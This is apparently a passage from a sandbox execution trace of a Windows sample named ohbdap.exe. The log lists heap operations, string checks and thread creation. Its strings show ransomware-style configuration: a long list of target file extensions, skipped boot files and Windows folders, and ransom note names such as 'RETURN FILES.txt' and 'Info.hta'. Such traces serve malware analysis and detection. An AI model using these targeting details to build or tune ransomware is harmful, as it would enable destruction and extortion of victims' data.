Flags=0x0, Ptr=0x4ea0b8, Size=0x8) returned 0x4ea0f8 [0031.261] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea0c8, Size=0x8) returned 0x4ea0b8 [0031.261] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea0e8, Size=0x8) returned 0x4ea108 [0031.261] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea108, Size=0x10) returned 0x4fdef8 [0031.261] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fdef8, Size=0x20) returned 0x4e5930 [0031.261] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea0f8, Size=0x10) returned 0x4fdef8 [0031.261] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea0b8, Size=0x10) returned 0x4fdf28 [0031.261] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea0f8, Size=0x8) returned 0x4ea0e8 [0031.261] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea118, Size=0x8) returned 0x4ea128 [0031.261] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fdef8, Size=0x20) returned 0x4e58e0 [0031.261] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fdf28, Size=0x20) returned 0x4e5840 [0031.261] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea138, Size=0x8) returned 0x4ea148 [0031.261] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0031.261] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fb448 | out: hHeap=0x4b0000) returned 1 [0031.261] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fdfa0, Size=0x20) returned 0x4e5958 [0031.261] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x50d438, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0031.262] lstrlenW (lpString="C:\\") returned 3 [0031.262] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0031.262] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x50d438 | out: hHeap=0x4b0000) returned 1 [0031.262] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea178, Size=0x82) returned 0x4fb9b0 [0031.262] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea198, Size=0x100) returned 0x4fba40 [0031.262] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fb9b0, Size=0x104) returned 0x4fbc68 [0031.262] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fba40, Size=0x200) returned 0x4fbd78 [0031.263] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4ea188 | out: hHeap=0x4b0000) returned 1 [0031.263] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fbd78 | out: hHeap=0x4b0000) returned 1 [0031.263] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fb5c8 | out: hHeap=0x4b0000) returned 1 [0031.263] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x50b5e8 | out: hHeap=0x4b0000) returned 1 [0031.263] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fe000 | out: hHeap=0x4b0000) returned 1 [0031.263] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x50b670 | out: hHeap=0x4b0000) returned 1 [0031.263] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fe030 | out: hHeap=0x4b0000) returned 1 [0031.263] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fbc68 | out: hHeap=0x4b0000) returned 1 [0031.263] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fe018 | out: hHeap=0x4b0000) returned 1 [0031.263] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fbb48 | out: hHeap=0x4b0000) returned 1 [0031.263] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fb5e0 | out: hHeap=0x4b0000) returned 1 [0031.263] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fbbd8 | out: hHeap=0x4b0000) returned 1 [0031.263] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fb5f8 | out: hHeap=0x4b0000) returned 1 [0031.264] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fe018, Size=0x20) returned 0x4e5980 [0031.264] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e5980, Size=0x40) returned 0x4e6ac8 [0031.264] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4ea158 | out: hHeap=0x4b0000) returned 1 [0031.264] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fdfa0 | out: hHeap=0x4b0000) returned 1 [0031.264] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fb520 | out: hHeap=0x4b0000) returned 1 [0031.264] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fdfd0 | out: hHeap=0x4b0000) returned 1 [0031.264] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x50b560 | out: hHeap=0x4b0000) returned 1 [0031.264] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fdfb8 | out: hHeap=0x4b0000) returned 1 [0031.264] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4ea168 | out: hHeap=0x4b0000) returned 1 [0031.264] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fdfe8 | out: hHeap=0x4b0000) returned 1 [0031.264] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e7ec8 | out: hHeap=0x4b0000) returned 1 [0031.264] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e6000 | out: hHeap=0x4b0000) returned 1 [0031.264] lstrlenW (lpString="%systemdrive%") returned 13 [0031.264] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5958 | out: hHeap=0x4b0000) returned 1 [0031.264] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x50b450 | out: hHeap=0x4b0000) returned 1 [0031.264] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4ea138 | out: hHeap=0x4b0000) returned 1 [0031.264] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x4eb428, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x100 [0031.265] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fdfe8, Size=0x20) returned 0x4e5980 [0031.265] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e5980, Size=0x40) returned 0x4e6b10 [0031.265] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e6b10, Size=0x80) returned 0x50b450 [0031.265] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50b450, Size=0x100) returned 0x4fb9b0 [0031.265] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fb9b0, Size=0x200) returned 0x4fb9b0 [0031.265] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fb9b0, Size=0x400) returned 0x4fb9b0 [0031.265] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fb9b0, Size=0x800) returned 0x4fb9b0 [0031.265] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fb9b0, Size=0x1000) returned 0x500060 [0031.265] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea138, Size=0x8) returned 0x4ea158 [0031.265] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea158, Size=0x10) returned 0x4fe000 [0031.265] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fe000, Size=0x20) returned 0x4e5980 [0031.265] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e5980, Size=0x40) returned 0x4e6b10 [0031.265] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e6b10, Size=0x80) returned 0x50b450 [0031.265] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50b450, Size=0x100) returned 0x501080 [0031.265] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x501080, Size=0x200) returned 0x4fbdb0 [0031.266] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fbdb0, Size=0x400) returned 0x503068 [0031.266] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x503068, Size=0x800) returned 0x504070 [0031.266] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0031.266] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x500060 | out: hHeap=0x4b0000) returned 1 [0031.266] lstrlenW (lpString="") returned 0 [0031.266] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x504ef0 | out: hHeap=0x4b0000) returned 1 [0031.266] lstrlenW (lpString=".html") returned 5 [0031.266] lstrlenW (lpString=".html") returned 5 [0031.266] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x504ef0 | out: hHeap=0x4b0000) returned 1 [0031.266] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x504f20, Size=0x20) returned 0x4e5980 [0031.266] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e5980, Size=0x40) returned 0x4e6b10 [0031.266] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e6b10, Size=0x80) returned 0x50b450 [0031.266] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea2d8, Size=0x8) returned 0x4ea2e8 [0031.266] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea2e8, Size=0x10) returned 0x504f20 [0031.266] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x504f20, Size=0x20) returned 0x4e59d0 [0031.266] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0031.266] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x50b450 | out: hHeap=0x4b0000) returned 1 [0031.266] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x504f50, Size=0x20) returned 0x4e59f8 [0031.266] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e59f8, Size=0x40) returned 0x4e6b10 [0031.266] lstrlenW (lpString="RETURN FILES.txt") returned 16 [0031.266] lstrlenW (lpString="RETURN FILES.txt") returned 16 [0031.266] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e6b10 | out: hHeap=0x4b0000) returned 1 [0031.266] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x504f50, Size=0x20) returned 0x4e59f8 [0031.266] lstrlenW (lpString="Info.hta") returned 8 [0031.266] lstrlenW (lpString="Info.hta") returned 8 [0031.267] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e59f8 | out: hHeap=0x4b0000) returned 1 [0031.267] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x52d460, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ohbdap.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ohbdap.exe")) returned 0x30 [0031.267] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x52d460 | out: hHeap=0x4b0000) returned 1 [0031.267] lstrlenW (lpString="ohbdap.exe") returned 10 [0031.267] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e59d0, Size=0x40) returned 0x4e6b10 [0031.267] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x504f50, Size=0x20) returned 0x4e59d0 [0031.267] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x504f50, Size=0x20) returned 0x4e59f8 [0031.267] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e59f8, Size=0x40) returned 0x4e6b58 [0031.267] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e6b58, Size=0x80) returned 0x50b450 [0031.267] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50b450, Size=0x100) returned 0x501080 [0031.267] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0031.267] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x501080 | out: hHeap=0x4b0000) returned 1 [0031.267] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x52d460, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0031.267] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x53d468 | out: hHeap=0x4b0000) returned 1 [0031.267] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x52d460 | out: hHeap=0x4b0000) returned 1 [0031.267] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea2e8, Size=0x8) returned 0x4ea2d8 [0031.267] lstrlenW (lpString="%windir%;") returned 9 [0031.267] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e59d0 | out: hHeap=0x4b0000) returned 1 [0031.267] lstrlenW (lpString="C:\\Windows;") returned 11 [0031.267] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x51d458 | out: hHeap=0x4b0000) returned 1 [0031.267] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x504f68, Size=0x20) returned 0x4e59d0 [0031.267] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e59d0, Size=0x40) returned 0x4e6b58 [0031.267] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e6b58, Size=0x80) returned 0x50b450 [0031.267] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50b450, Size=0x100) returned 0x501080 [0031.268] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea318, Size=0x8) returned 0x4ea328 [0031.268] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea328, Size=0x10) returned 0x504fb0 [0031.268] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x504fb0, Size=0x20) returned 0x4e59d0 [0031.268] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea2e8, Size=0x8) returned 0x4ea328 [0031.268] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea2f8, Size=0x8) returned 0x4ea2e8 [0031.268] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea318, Size=0x8) returned 0x4ea338 [0031.268] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea338, Size=0x10) returned 0x505058 [0031.268] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x505058, Size=0x20) returned 0x4e59f8 [0031.268] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea328, Size=0x10) returned 0x505058 [0031.268] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea2e8, Size=0x10) returned 0x500090 [0031.268] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea328, Size=0x8) returned 0x4ea318 [0031.268] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea348, Size=0x8) returned 0x4ea358 [0031.268] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x505058, Size=0x20) returned 0x4e5a20 [0031.268] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x500090, Size=0x20) returned 0x4e5a48 [0031.268] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea368, Size=0x8) returned 0x4ea378 [0031.268] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0031.268] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x501080 | out: hHeap=0x4b0000) returned 1 [0031.268] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x500120, Size=0x20) returned 0x4e5a98 [0031.268] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x51d458, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0031.268] lstrlenW (lpString="C:\\") returned 3 [0031.268] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0031.268] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x51d458 | out: hHeap=0x4b0000) returned 1 [0031.269] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x503080, Size=0x82) returned 0x4fbe88 [0031.269] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x5030a0, Size=0x100) returned 0x501080 [0031.269] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fbe88, Size=0x104) returned 0x5008f0 [0031.269] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x501080, Size=0x200) returned 0x505090 [0031.270] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x503090 | out: hHeap=0x4b0000) returned 1 [0031.270] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x505090 | out: hHeap=0x4b0000) returned 1 [0031.270] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x5001c8 | out: hHeap=0x4b0000) returned 1 [0031.270] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x50b670 | out: hHeap=0x4b0000) returned 1 [0031.270] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x500180 | out: hHeap=0x4b0000) returned 1 [0031.270] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x50b5e8 | out: hHeap=0x4b0000) returned 1 [0031.270] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x5001b0 | out: hHeap=0x4b0000) returned 1 [0031.270] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x5008f0 | out: hHeap=0x4b0000) returned 1 [0031.270] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x500198 | out: hHeap=0x4b0000) returned 1 [0031.270] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fbf18 | out: hHeap=0x4b0000) returned 1 [0031.270] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x5001e0 | out: hHeap=0x4b0000) returned 1 [0031.270] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x500860 | out: hHeap=0x4b0000) returned 1 [0031.270] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x5001f8 | out: hHeap=0x4b0000) returned 1 [0031.270] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x5001f8, Size=0x20) returned 0x4e5ac0 [0031.270] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e5ac0, Size=0x40) returned 0x4e6b58 [0031.270] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4ea388 | out: hHeap=0x4b0000) returned 1 [0031.270] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x500120 | out: hHeap=0x4b0000) returned 1 [0031.270] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fc3b8 | out: hHeap=0x4b0000) returned 1 [0031.270] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x500150 | out: hHeap=0x4b0000) returned 1 [0031.270] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x50b560 | out: hHeap=0x4b0000) returned 1 [0031.270] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x500138 | out: hHeap=0x4b0000) returned 1 [0031.270] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4ea398 | out: hHeap=0x4b0000) returned 1 [0031.270] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x500168 | out: hHeap=0x4b0000) returned 1 [0031.270] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fb560 | out: hHeap=0x4b0000) returned 1 [0031.270] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e6120 | out: hHeap=0x4b0000) returned 1 [0031.270] lstrlenW (lpString="%systemdrive%") returned 13 [0031.271] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5a98 | out: hHeap=0x4b0000) returned 1 [0031.271] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x50b450 | out: hHeap=0x4b0000) returned 1 [0031.271] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4ea368 | out: hHeap=0x4b0000) returned 1 [0031.271] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x50d438, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10c [0031.271] WaitForMultipleObjects (nCount=0x2, lpHandles=0x4e7c28*=0x100, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 2 os_tid = 0x9b0 Thread: id = 4 os_tid = 0x9bc [0031.880] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500168 [0031.880] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x500168, Size=0x20) returned 0x4e5ac0 [0031.880] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e5ac0, Size=0x40) returned 0x4e6ba0 [0031.880] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e6ba0, Size=0x80) returned 0x50b450 [0031.880] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50b450, Size=0x100) returned 0x501080 [0031.880] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500168 [0031.880] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x500168, Size=0x20) returned 0x4e5ac0 [0031.880] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e5ac0, Size=0x40) returned 0x4e6ba0 [0031.880] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e6ba0, Size=0x80) returned 0x50b450 [0031.880] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50b450, Size=0x100) returned 0x501188 [0031.880] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x500168 [0031.880] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x4) returned 0x4ea368 [0031.880] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500138 [0031.880] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea368, Size=0x8) returned 0x4ea398 [0031.880] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x14) returned 0x4e6140 [0031.880] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea398, Size=0x10) returned 0x500150 [0031.880] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x18) returned 0x4e6160 [0031.880] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x1a) returned 0x4e5ac0 [0031.880] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x500150, Size=0x20) returned 0x4e5ae8 [0031.880] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x1c) returned 0x4e5b10 [0031.880] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x16) returned 0x4e6180 [0031.881] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x1a) returned 0x4e5b38 [0031.881] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x500150 [0031.881] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x4) returned 0x4ea398 [0031.881] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40) returned 0x4e6ba0 [0031.881] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea398, Size=0x8) returned 0x4ea368 [0031.881] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x3c) returned 0x4e6be8 [0031.881] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea368, Size=0x10) returned 0x500120 [0031.881] 